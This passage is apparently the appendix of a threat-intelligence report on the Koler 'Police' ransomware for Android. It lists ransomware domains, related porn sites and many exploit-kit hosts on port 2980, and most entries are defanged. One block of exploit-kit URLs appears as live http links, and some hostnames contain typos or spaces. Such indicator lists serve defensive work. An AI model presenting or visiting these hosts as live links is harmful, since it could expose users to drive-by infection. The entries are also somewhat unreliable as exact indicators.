<td>hxkp://police.yougoboyusa.com/</td>
</tr>
<tr>
<td>hxkp://police.triatechnologies.net</td>
<td>hxkp://police.yougoboywebsites.com/</td>
</tr>
<tr>
<td>hxkp://police.triatechnologies.org</td>
<td>hxkp://police.youhavenotpaidus.com/</td>
</tr>
<tr>
<td>hxkp://police.triatechnologies.us</td>
<td></td>
</tr>
</tbody>
</table>
iii. Appendix III – Related porn domains (no malware)

hxxp://catchfreeporn.com
hxxp://charlietube.com
hxxp://chimpstube.com
hxxp://clitpatrol.com
hxxp://dirtyalfie.com
hxxp://favoritesextube.com
hxxp://freshsexvideoz.com
hxxp://hardasstube.com
hxxp://hdporntubez.com
hxxp://hornydaivd.com
hxxp://jimsporntube.com
hxxp://olivertube.com
hxxp://pornsnitch.com
hxxp://porntubator.com
hxxp://ratedtubesex.com
hxxp://tubepornspider.com
hxxp://www.brilliantsextube.com
hxxp://www.favoritexxtube.com
hxxp://www.heremyiaporn.com
hxxp://www.madxxxshows.com
hxxp://xxxtubenow.com
iv. Appendix IV – Exploit kit websites:

hxxp://0blitz-chloropheum.ashleyaviationgroup1.com:2980
hxxp://0suicide.accountinggrowthinstitute.com:2980
hxxp://0sung.ghjnonprofitblog.com:2980
hxxp://1copy.unb10.com:2980
hxxp://1gimbal1preisetanz.accounting-website.net:2980
hxxp://1heardlavincarnoso.majickalmonkey.com:2980
hxxp://1reed.thesfactorsolutions.com:2980
hxxp://1rengarten0ala.ghjnonprofitblog.com:2980
hxxp://2nill.centaurosascruces.com:2980
hxxp://2schlei.emeraladvisorsgroup.com:2980
hxxp://2suzette-mangajarro.accountinggrowthinstitute.com:2980
hxxp://3bartley.myhostbackup.com:2980
hxxp://3rd0.ashleyaviationgroup1.com:2980
hxxp://acercadorautsjaaling.chrisbraven.com:2980
hxxp://achilli.reclaiimynation.com:2980
hxxp://ademtochkulttuuriperintkin.yourafricanfood.biz:2980
hxxp://adorfhuanxinonkernissa.teasure.net:2980
hxxp://afgepoetsten.pcidocor.com:2980
hxxp://afgespiegeld-navorsingsbeurse.ashleyluxurycars.com:2980
hxxp://airphilatelylbogan.ashleyairandtravel.com:2980
hxxp://aiiv.theclaimsfsolutions.co.uk:2980
hxxp://albanaisactinioh.myhostbackup.net:2980
hxxp://alderdomsforsker.ethiosite.com:2980
hxxp://anaostate-eroamissesa.centauroselpaso.com:2980
hxxp://antaisaksbhdgalvanically.yourafricanfood.co.uk:2980
hxxp://anthologist.windsurfinglens.com:2980
hxxp://apegoscislydagupan.yourafricanfood.com:2980
hxxp://apofissscellerai.accounting-website.net:2980
hxxp://appslaketemptavissemque.theclaimsfsolutions.co.uk:2980
hxxp://appostammobedsheet.accounting-website.net:2980
hxxp://argentamidet1query.ethiosite.com:2980
hxxp://arkielmnwonderlandish.jsproperty.com:2980
hxxp://artsenijfamilies.theclaimsfsolutions.co.uk:2980
hxxp://asiakassuhteita.centauroselpaso.com:2980
hxxp://askarigehattlosesten.ethiosite.com:2980
hxxp://aussaugesciais.azyouthflagfootball.com:2980
hxxp://austauschte.antstransport.com:2980
hxxp://automaterialen.pcisurgeon.com:2980
hxxp://automaticity.windsurfinglens.com:2980
hxxp://babuchalumbayao.pensionreviewsspecialist.com:2980
hxxp://bacteriostatically.agimarketleaders.com:2980
hxxp://balkanin.greenlogicny.com:2980
hxxp://ballstonlakedupeta1.tenutacanneta.com:2980
hxxp://barricaderaient.yourclaimswarehouse.co.uk:2980
hxxp://berberisen.windsurfinglens.com:2980
hxxp://bienenwasuurvrye.catalystcpamarketing.com:2980

TLP: Green
For any inquire please contact intelreports@kaspersky.com
Koler – The ‘Police’ ransomware for Android

hxpx://bijelih1taveroque.yourclaimswarehouse.co.uk:2980
hxpx://bitsakkynigdissequerait.tenutacanneta.com:2980
hxpx://blandiquencewatakopofuiliwa.ashleyairllc.com:2980
hxpx://bloetiitdotorasur.tenutaimori.com:2980
hxpx://bobico-peruutettu.recordschangedmylife.com:2980
hxpx://bodenkultur.aziendanuova.com:2980
hxpx://boesmanskildery.vitalitygoals.com:2980
hxpx://boobytra.centauroselpaso.com:2980
hxpx://bottlersaatananpalvonta.theclaimsfactor.com:2980
hxpx://bromeraisolidgold.theclaimsfactorsolutions.co.uk:2980
hxpx://brancoli.yourafricanfood.com:2980
hxpx://bulgaricus.emeraldadvisorsgroup.com:2980
hxpx://bursianyleiskuvan.eastafro.com:2980
hxpx://bygecobb.myhostbackup.net:2980
hxpx://calibracion.catalystcpamarketing.com:2980
hxpx://candadamorohasi.corerobot.com:2980
hxpx://carbonergeldtaschen.theclaimsfactorsolutions.com:2980
hxpx://chantaysavagepsxt.theclaimsfactorsolutions.com:2980
hxpx://chiba-twelvetricks.accounting-websites.net:2980
hxpx://churchhh.greenlogicny.com:2980
hxpx://cillobacterium.theclaimsfactorsolutions.co.uk:2980
hxpx://coaloperatorfrpcc.unb10.com:2980
hxpx://codeword-geestenbezweersters.centauroselpaso.com:2980
hxpx://codiscoverer-onbetamelijkheden.leafrguardsales.com:2980
hxpx://coloslossuses1indindoli.yourclaimswarehouse.co.uk:2980
hxpx://coilsizel-1succeed.ashleyairllc.com:2980
hxpx://commissariesbegripsvermo.recordschangedmylife.com:2980
hxpx://componistkerilty.accounting-websites.net:2980
hxpx://consuetudinemembrorque.bodisignals.com:2980
hxpx://contendetbegrijpen.reclaimmynation.com:2980
hxpx://copierieyaq.sharkbitpoker.com:2980
hxpx://corcano-beifaellig.yourclaimswarehouse.co.uk:2980
hxpx://cprefix.catalystcpamarketing.com:2980
hxpx://cullowhee.theclaimsfactor.com:2980
hxpx://cypressoil-valdimar.ashleyaviationgroup1.com:2980
hxpx://dairyingvetvlek.tenutacanneta.com:2980
hxpx://decoupeesleviaque.myhostbackup.net:2980
hxpx://denilquinherumdrueckende.ethiosite.com:2980
hxpx://designfasen.agimarketleaders.com:2980
hxpx://devourable.theclaimsfactorsolutions.co.uk:2980
hxpx://dishan-1personett.yourafricanfood.com:2980
hxpx://distilleesbergmans.yourclaimswarehouse.co.uk:2980
hxpx://divinylsuzmyslowil.ashleyairllc.com:2980
hxpx://dormisse.arizonashame.com:2980
hxpx://doswiadzenianailes.ashleyairllc.com:2980
hxpx://dotammcolostally.yourafricanfood.co.uk:2980
hxpx://druckerilta.accounting-websites.net:2980
hxpx://dttxdokopala.unb10.com:2980
hxpx://duizel.tuscaning.com:2980

TLP: Green

For any inquiry please contact intelreports@kaspersky.com
Koler – The ‘Police’ ransomware for Android

hxpx://dumbviruswirrmuscadel.azadultsoccer.com:2980
hxpx://durchgefegt-veimar.eri.tv:2980
hxpx://durned-dibabawo.yourclaimswarehouse.co.uk:2980
hxpx://ebralidzein210exhaussions.ashleyairandtravel.com:2980
hxpx://econtrib.dailyfootie.com:2980
hxpx://ecqua.serverbackups.net:2980
hxpx://edistjt.arizonashame.com:2980
hxpx://eichkaetzchen-favoriserer.theclaimsfactorsolutions.com:2980
hxpx://eksemplare.totalgolfschool.net:2980
hxpx://elektrolyserenunbewachtstem.accountinggrowthinstitute.com:2980
hxpx://ellratkaisevin1touban.emeraldadvisorsgroup.com:2980
hxpx://embrigaderait-demographers.centauroslascruces.com:2980
hxpx://empaquetez.antstransport.com:2980
hxpx://empiric1sarcobium.theclaimsfactorsolutions.co.uk:2980
hxpx://emplumetachere.reclaimmynation.com:2980
hxpx://empoignerbyrokraatiaakin.ashleyluxurycars.com:2980
hxpx://encrinus.aziendanuova.com:2980
hxpx://endozoa.teasure.org:2980
hxpx://endurable.reclaimmynation.com:2980
hxpx://endurerontfretees.ashleyluxurycars.com:2980
hxpx://entredichotegengelopenen.chrisbraven.com:2980
hxpx://epouvauntaienthuguenot.wineimori.com:2980
hxpx://ereskigtshernyh.recordschangedmylife.com:2980
hxpx://ernzte.10532crete.com:2980
hxpx://eroberungskrieges.centauroslaspeso.com:2980
hxpx://escrapela-fbrandom.legendofman.com:2980
hxpx://escarpmentsausgestopft.teasure.org:2980
hxpx://esclerosicoalternador.accountinggrowthinstitute.com:2980
hxpx://estteltqqqqc.teasure.org:2980
hxpx://estvnskeepslengete.accountinggrowthinstitute.com:2980
hxpx://evoy.myhostbackup.com:2980
hxpx://exhilaratingafgeglipte.vitalitygoals.com:2980
hxpx://failure0.yourafricanfood.co.uk:2980
hxpx://farachschakels1string.ethiosite.com:2980
hxpx://feldegastutfangenethef.mikesmailbox.com:2980
hxpx://filbusterismkto.reclaimmynation.com:2980
hxpx://filmotethe.yourafricanfood.com:2980
hxpx://finetricked.teasure.org:2980
hxpx://flashrom-vertrekmoontlikhede.corerobot.com:2980
hxpx://flexionvoldane.yourafricanfood.biz:2980
hxpx://fttcov.ashleyairllc.com:2980
hxpx://fortrinnetvorzuwerfen.vitalitygoals.com:2980
hxpx://fraichissantgozales.myhostbackup.net:2980
hxpx://framlegge-upstaunc.ashleyairandtravel.com:2980
hxpx://ftpuploadincisait.silverjetstudio.ca:2980
hxpx://gadsonystvyyssopimuksen.pcisurgeon.com:2980
hxpx://gagnihartherzigstem.windsurfinglens.com:2980
hxpx://galivantsvasklamp.ashleyairandtravel.com:2980
hxpx://gangsat.greenlogic.com:2980
Koler – The ‘Police’ ransomware for Android

hxpx://gankai-desornamentada.accountinggrowthinstitute.com:2980
hxpx://gemarkenhakerige.yourclaimswarehouse.co.uk:2980
hxpx://geomoomiglano.pcisurge.com:2980
hxpx://gepers-nieciecyncronaredac.antstransport.com:2980
hxpx://gestaltbare1klesch.centaurosacruces.com:2980
hxpx://goodbutt-youpon.ashleyairllc.com:2980
hxpx://grab.tenutacanneta.com:2980
hxpx://grattaifatherdom.catalystcpamarketing.com:2980
hxpx://greenhide.emeraldadvisorsgroup.com:2980
hxpx://gremiate-dpbanks.ashleyaviationgroup1.com:2980
hxpx://grundprincipwinstbew.ghjnonprofitblog.com:2980
hxpx://handlerdogzaslon.unb10.com:2980
hxpx://hargilkivrein.teasure.net:2980
hxpx://harmonisesamersfoortsewegen.manzanitarocks.com:2980
hxpx://hasspvisenteerder.teasure.org:2980
hxpx://hehkundiscreditedyourafricanfood.com:2980
hxpx://herper.windsurfinglens.com:2980
hxpx://highflow.agimarketleaders.com:2980
hxpx://holzkreu.accountinggrowthinstitute.com:2980
hxpx://hpbbpmbe-turgeon.theclaimsfactor.com:2980
hxpx://huolenpidon.yourafricanfood.co.uk:2980
hxpx://iftvfrugsteker.bodisignals.com:2980
hxpx://ihaigeserifexconvex.theclaimsfactorsolutions.com:2980
hxpx://ikuzusroosstruik.pcidocctor.com:2980
hxpx://ilahtuatimerous.teasure.org:2980
hxpx://indabaaufzutrennenden.tenutaimori.com:2980
hxpx://intersys.vitalitygoals.com:2980
hxpx://isenergi.myhostbackup.com:2980
hxpx://isopodiform.ashleyaviationgroup1.com:2980
hxpx://ivanitsk-valtauksen.teasure.org:2980
hxpx://janiemicernohlaatuelokuvien.vitalitygoals.com:2980
hxpx://jinruia.emeraldadvisorsgroup.com:2980
hxpx://johdot-merson-hunteler.catalystcpamarketing.com:2980
hxpx://johnsotc.magickalmonkey.com:2980
hxpx://jougariperacz.catalystcpamarketing.com:2980
hxpx://kamerverkiezingen.wineimori.com:2980
hxpx://kansillagiddybra.ashleyluxurycars.com:2980
hxpx://katolickom1overbowl.pcisurgeon.com:2980
hxpx://katteetbegenadigd.magickalmonkey.com:2980
hxpx://kelkkamke.chrisbraven.com:2980
hxpx://kemiallisestiaanstotelijke.recordschangedmylife.com:2980
hxpx://kernelmapunafanana.recordschangedmylife.com:2980
hxpx://kieeroksissaan.partner-pipeline.com:2980
hxpx://kievietsunideographic.myhostbackup.com:2980
hxpx://kiivaidenvertraketen.recordschangedmylife.com:2980
hxpx://kirjotuskoneella.yourafricanfood.co.uk:2980
hxpx://kjeftjoakhimforhotropal.myhostbackup.com:2980
hxpx://klokkenis.recordschangedmylife.com:2980
hxpx://konfliktowoscnetbbs.corerobot.com:2980

TLP: Green
For any inquire please contact intelreports@kaspersky.com
Koler – The ‘Police’ ransomware for Android

http://konvoiere.ashleyairandtravel.com:2980
http://krepp-barkoundouba.theclaimsfactorsolutions.com:2980
http://kriisisunntilmien.leafguardsales.com:2980
http://kuestercobarrenverrons.ethiosite.com:2980
http://latenti.pcisurgeon.com:2980
http://limbacherdosaafin.ashleyairandtravel.com:2980
http://linguacioulabesetztest.rivergolddprospecting.com:2980
http://loslitt-suedwestlichen.partner-pipeline.com:2980
http://lsbfirsttreadlong.reclaimmyvation.com:2980
http://lukijakuntamme-blankii.yourafricanfood.biz:2980
http://lukuisten.leafguardsales.com:2980
http://lustier-toronjo.yourafricanfood.co.uk:2980
http://maclibs.theclaimsfactor.com:2980
http://madnickaansloten.pcidoctor.com:2980
http://mahannah.centaurosascruces.com:2980
http://mahnstun.myhostbackup.com:2980
http://malihini.vitalitygoals.com:2980
http://mappedcollector.ashleyluxurycars.com:2980
http://martinskoj1.yourafricanfood.com:2980
http://medelu.corerobot.com:2980
http://melfi.ghjnonprofitblog.com:2980
http://metafluidal.centaurosascruces.com:2980
http://metreurremontante.windsurfinglens.com:2980
http://miehittneectastedale.yourafricanfood.co.uk:2980
http://moederdagbramstengen.wineimori.com:2980
http://molletieres.accountinggrowthinstitute.com:2980
http://moodoeneriyhtn.leafguardsales.com:2980
http://mrketidunwidersprochene.theclaimsfactorsolutions.com:2980
http://muszkeintersternal.ashleyairandtravel.com:2980
http://mycharptsrslonce.chrisbraven.com:2980
http://myrophoroopinerait.pcidoctor.com:2980
http://naiciter.theclaimsfactorsolutions.com:2980
http://najprostszy.accountinggrowthinstitute.com:2980
http://nematogen-aechze.myhostbackup.net:2980
http://ngaywood.catalystcpamarketing.com:2980
http://nienowoczesnosc.ashleyairllc.com:2980
http://nijest.yourafricanfood.com:2980
http://nimityksestnrecapitano.corerobot.com:2980
http://nitratossinuotadentated.leafguardsales.com:2980
http://nogwayne.windsurfinglens.com:2980
http://nyhetsmaterial.ashleyairandtravel.com:2980
http://nystarta.ashleyairllc.com:2980
http://oddsmatrix.ghjnonprofitblog.com:2980
http://oleaginuseulaetatus.yourafricanfood.co.uk:2980
http://onmoereverenigingen.corerobot.com:2980
http://onbewaakpretendue.pcidoctor.com:2980
http://ongeneoogsaamheid.magickalmonkey.com:2980
http://ongeskeerdemeiyuu.manzanitarocks.com:2980
http://onromantieshancockilla.myhostbackup.com:2980
Koler – The ‘Police’ ransomware for Android

hxpx://onstandingcostruimiento.windsurfinglens.com:2980
hxpx://opgeskeurvreugdelied.ashleyluxurycars.com:2980
hxpx://oqcviknament.agimarketleaders.com:2980
hxpx://orkesterischerzo.aeg4gov.com:2980
hxpx://ortodoksaintermarry.tenutacanneta.com:2980
hxpx://ositonstygslag.accounting-websites.net:2980
hxpx://overadv.koppstudio.com:2980
hxpx://oversvmmelenereconciler.ashleyaviationgroup1.com:2980
hxpx://overveiet-verknuftpet.ashleyairl.com:2980
hxpx://p331335ausrechne.pcisurgeon.com:2980
hxpx://paddy0infinitestate.catalystcpanmarketing.com:2980
hxpx://padwicki-zatesknilem.yourafricanfood.co.uk:2980
hxpx://paechchens.chrisbraven.com:2980
hxpx://papillonneras.serverbackups.net:2980
hxpx://paradojicayhdlekin.yourafricanfood.biz:2980
hxpx://parchmentlaceectomesoblast.ghjnonprofitblog.com:2980
hxpx://parizien.pensionreviewsspecialist.com:2980
hxpx://pastellfarbensarpullido.pcisurgeon.com:2980
hxpx://paszahaloneitaegcurly.wineimori.com:2980
hxpx://pepermuntenembisse.totalgolfschool.net:2980
hxpx://perceptradiotekn.pcidocotor.com:2980
hxpx://perre.ashleyluxurycars.com:2980
hxpx://phoneadministrative.centsurolascrucies.com:2980
hxpx://photisti-notujesz.yourafricanfood.co.uk:2980
hxpx://planningimplessavistique.ashleyairandtravel.com:2980
hxpx://poeierdozen-lloyed.yourafricanfood.biz:2980
hxpx://poistuaaufschrecken.totalgolfschool.net:2980
hxpx://potznerenthuelen.centauroselpaso.com:2980
hxpx://preissteigerung.catalystcpanmarketing.com:2980
hxpx://premebant.yourafricanfood.com:2980
hxpx://prijslijstenxanthosi.centauroselcruces.com:2980
hxpx://prioritereranice.totalgolfschool.net:2980
hxpx://privilegiee-shachtma.myhostbackup.net:2980
hxpx://prkdatetimeformat.accountinggrowthinstitute.com:2980
hxpx://propunishment.vitalitygoals.com:2980
hxpx://psykologinsueco.myhostbackup.com:2980
hxpx://publiceducation.allclimateprotection.com:2980
hxpx://quickhatch.corerobot.com:2980
hxpx://raiskattubikbeitel.pcidocotor.com:2980
hxpx://rakennettavan.centauroselpaso.com:2980
hxpx://ramicovaberkovics.ashleyluxurycars.com:2980
hxpx://rbakker.theclaimsfactor.com:2980
hxpx://rectifierent.leafguardsales.com:2980
hxpx://redchickenunknelle.pcidocotor.com:2980
hxpx://rediraistapezare.emeraldadvisorsgroup.com:2980
hxpx://refereraihydropla.emeraldadvisorsgroup.com:2980
hxpx://referremquedraughted.pcisurgeon.com:2980
hxpx://renegad.vitalitygoals.com:2980
hxpx://reprobater-hallitsjoidensa.recordschangedmylife.com:2980

TLP: Green
For any inquire please contact intelreports@kaspersky.com
Koler – The 'Police' ransomware for Android

hxpp://revitaliserknaspiciet.catalystcpamarketing.com:2980
hxpp://rhenderson.yourafricanfood.biz:2980
hxpp://riflettanapotekvare.accounting-marketing.com:2980
hxpp://robonickie klaani.myhostbackup.net:2980
hxpp://rolling.centauroselpaso.com:2980
hxpp://romanogermanic.theclaimsfactorsolutions.co.uk:2980
hxpp://rstranbabero.agimarketleaders.com:2980
hxpp://sankcjaberegende.chrisbraven.com:2980
hxpp://sargamsprawdzacz.yourafricanfood.biz:2980
hxpp://scarcepossibleripicolous.myhostbackup.com:2980
hxpp://schniegelnde.ghjnonprofitblog.com:2980
hxpp://schoolmaamish-olleessa.windsurfinglens.com:2980
hxpp://schotvrierpcmd.tenutacanneta.com:2980
hxpp://schwaermten.tuscaning.com:2980
hxpp://scouryprodukujemy.corerobot.com:2980
hxpp://selfrelation.ashleyairandtravel.com:2980
hxpp://seligson-samstagen.accounting-marketing.com:2980
hxpp://semiabst.yourclaimswarehouse.co.uk:2980
hxpp://semiparasite.tenutacanneta.com:2980
hxpp://shinningsejne.ashleyairllc.com:2980
hxpp://siivuksiodvajanja1.pcisurgeon.com:2980
hxpp://sijaitsevallabroet.agimarketleaders.com:2980
hxpp://siler.reclalmynation.com:2980
hxpp://sinkouselfbstaubexponate.ghjnonprofitblog.com:2980
hxpp://sisaruksensakin.partner-pipeline.com:2980
hxpp://skaptraduxisse.accounting-websites.net:2980
hxpp://skomakarlaerling.aerobiker.us:2980
hxpp://skyscraper-katechumen.magickalmonkey.com:2980
hxpp://sloejabytebybyte.ghjnonprofitblog.com:2980
hxpp://sociabitque.recordschangedmylife.com:2980
hxpp://sozialraumessafly-reaccionaria.chrisbraven.com:2980
hxpp://souspayaientextraerythrocyte.yourafricanfood.biz:2980
hxpp://sozialraumesopater.windsurfinglens.com:2980
hxpp://spanishbuiltsubellipsoidea.teasure.com:2980
hxpp://spellings-olekin.manzanitarocks.com:2980
hxpp://spoilagesuiterstes.accounting-marketing.com:2980
hxpp://stemsawfly-reaccionaria.chrisbraven.com:2980
hxpp://sternhellstenunquantified.pcidoclor.com:2980
hxpp://stevebandmiller.myhostbackup.net:2980
hxpp://stratificalional.vitalitygoals.com:2980
hxpp://subchapteredustamisen.manzanitarocks.com:2980
hxpp://subperforming.myhostbackup.net:2980
hxpp://suitor1approbative.chrisbraven.com:2980
hxpp://supersolemnitymeinecke.corerobot.com:2980
hxpp://swampblackgumporzadkowaniem.ashleyaviationgroup1.com:2980
hxpp://synonimem-nigii.teasure.net:2980
hxpp://takken-amelingdegomme.yourclaimswarehouse.co.uk:2980
hxpp://tavaritsia.agimarketleaders.com:2980
hxpp://teken-kohlenproduktion.yourafricanfood.biz:2980

TLP: Green
For any inquire please contact intelreports@kaspersky.com
Koler – The ‘Police’ ransomware for Android

hxpx://terveydenhoitolehdess.teasure.org:2980
hxpx://tetudoutkonkuri.aeg4gov.com:2980
hxpx://thimble1frontalero.teasure.org:2980
hxpx://toddlers-hackspetten.jsproperty.com:2980
hxpx://toluolwhiteveined.centauroselpaso.com:2980
hxpx://toogood-toxey.totalgolschool.net:2980
hxpx://tovariches.totalgolschool.net:2980
hxpx://towcarder-amsteldijk.totalgolschool.net:2980
hxpx://tracerbuecherwurm.leafguardsales.com:2980
hxpx://trafiguerentconsumerentertainment.yourclaimswarehouse.co.uk:2980
hxpx://tragasantos.yourafricanfood.com:2980
hxpx://trasker.theclaimsfactorsolutions.com:2980
hxpx://tremescemusqueradactr.yourafricanfood.biz:2980
hxpx://treopshinshuu.centauroselpaso.com:2980
hxpx://trianglework.serverbackups.net:2980
hxpx://troficaredoing.agimarketleaders.com:2980
hxpx://tukkukauppiaiden.vitalitygoals.com:2980
hxpx://tulikokeeseensa.theclaimsfactorsolutions.co.uk:2980
hxpx://turkeydomresurgis.ashleyaviationgroup1.com:2980
hxpx://tutumota.biglittlemoto.com:2980
hxpx://tzeng-prkmethodfn.theclaimsfactor.com:2980
hxpx://ubajay-subtropischer.serverbackups.net:2980
hxpx://ucdss.ashleyluxurycars.com:2980
hxpx://uebernahmiraculosa.magickalmonkey.com:2980
hxpx://uforligneligcarcajous.serverbackups.net:2980
hxpx://uijutru2verificateur.centauroslascruces.com:2980
hxpx://ulottuneistaretranscrivirent.serverbackups.net:2980
hxpx://unendlichrstysanioistaan.reclamynation.com:2980
hxpx://unenthralling.tenutacanneta.com:2980
hxpx://unfontunpossessed.agimarketleaders.com:2980
hxpx://unimodalitysasrco.ethiosite.com:2980
hxpx://unperturbedelykansanelkeiden.ashleyaviationgroup1.com:2980
hxpx://unutososubrepand.accounting-websites.net:2980
hxpx://unverderblichen.centauroslascruces.com:2980
hxpx://uocariebatis-cssfu.pcidoctor.com:2980
hxpx://varicaedens-macmonitor.myhostbackup.net:2980
hxpx://verdummsparentque.ethiosite.com:2980
hxpx://vereinsamung-copilla.recordschangedmylife.com:2980
hxpx://verretqueammacavano.bodisignals.com:2980
hxpx://verschanzten-ichis.theclaimsfactorsolutions.com:2980
hxpx://vervroegt.corerobot.com:2980
hxpx://vhtellen.emeraldadvisorsgroup.com:2980
hxpx://vierjaarlike-walleyball.ethiosite.com:2980
hxpx://virkamiehineen-lidsli.wineimori.com:2980
hxpx://wandrie.yourafricanfood.com:2980
hxpx://wanek-salesagent.tenutacanneta.com:2980
hxpx://watashij.teasure.org:2980
hxpx://waterenvuurbazen.totalgolschool.net:2980
hxpx://weiterbestandene.leafguardsales.com:2980

TLP: Green
For any inquire please contact intelreports@kaspersky.com
Koler – The ‘Police’ ransomware for Android

hxpx://weslake.theclaimsfactorsolutions.co.uk:2980
hxpx://wsiwyguultisvalhtosopimus.leafguardsales.com:2980
hxpx://xidentfier-forzerei.ashleyaviationgroup1.com:2980
hxpx://xjimausdenkendes.tenutacanneta.com:2980
hxpx://yashinaiergerlig.wineimori.com:2980
hxpx://ydeeps.greenlogicny.com:2980
hxpx://ymisvannspriquickwor.ashleyluxurycars.com:2980
hxpx://ystvsi.agimarketleaders.com:2980
hxpx://zasigurno7-montenegro.reclaimmynation.com:2980
hxpx://zitronenbaumbevilligter.magickalmonkey.com:2980
hxpx://zolman.teasure.org:2980
hxpx://zovich.greenlogicny.com:2980
hxpx://zyuuitiwavedancers.arizonashame.com:2980

TLP: Green
For any inquire please contact intelreports@kaspersky.com